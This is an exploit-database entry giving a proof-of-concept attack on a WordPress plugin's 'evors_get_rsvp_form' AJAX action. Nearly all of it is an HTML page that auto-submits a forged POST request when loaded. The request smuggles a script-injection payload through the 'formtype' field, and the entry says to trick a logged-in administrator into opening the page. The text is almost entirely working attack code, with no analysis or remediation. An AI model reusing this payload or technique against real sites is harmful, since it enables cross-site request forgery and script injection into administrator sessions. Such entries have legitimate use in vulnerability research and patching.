Share
## https://sploitus.com/exploit?id=WPEX-ID:218FB3AF-3A40-486F-8EA9-80211A986FB3
Make a logged in admin open a page containing the code below
<html>
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="evors_get_rsvp_form" />
<input type="hidden" name="e_id" value="1" />
<input type="hidden" name="formtype" value="update'><img src onerror=alert(`XSS`)>"/>
<input type="submit" value="Submit request" />
</form>
</body>
</html>